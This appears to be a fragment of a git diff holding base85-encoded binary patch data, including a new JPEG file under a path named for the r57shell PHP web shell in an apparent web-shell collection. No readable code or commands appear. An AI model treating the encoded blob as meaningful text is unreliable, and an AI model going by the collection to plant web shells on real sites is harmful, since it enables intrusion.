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 literal 0 HcmV?d00001 diff --git a/php/PHPshell/r57shell/r57shell.jpg b/php/PHPshell/r57shell/r57shell.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d2ff4c36deb226617f59cfccaf9aef3a4b351207 GIT binary patch literal 96975 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 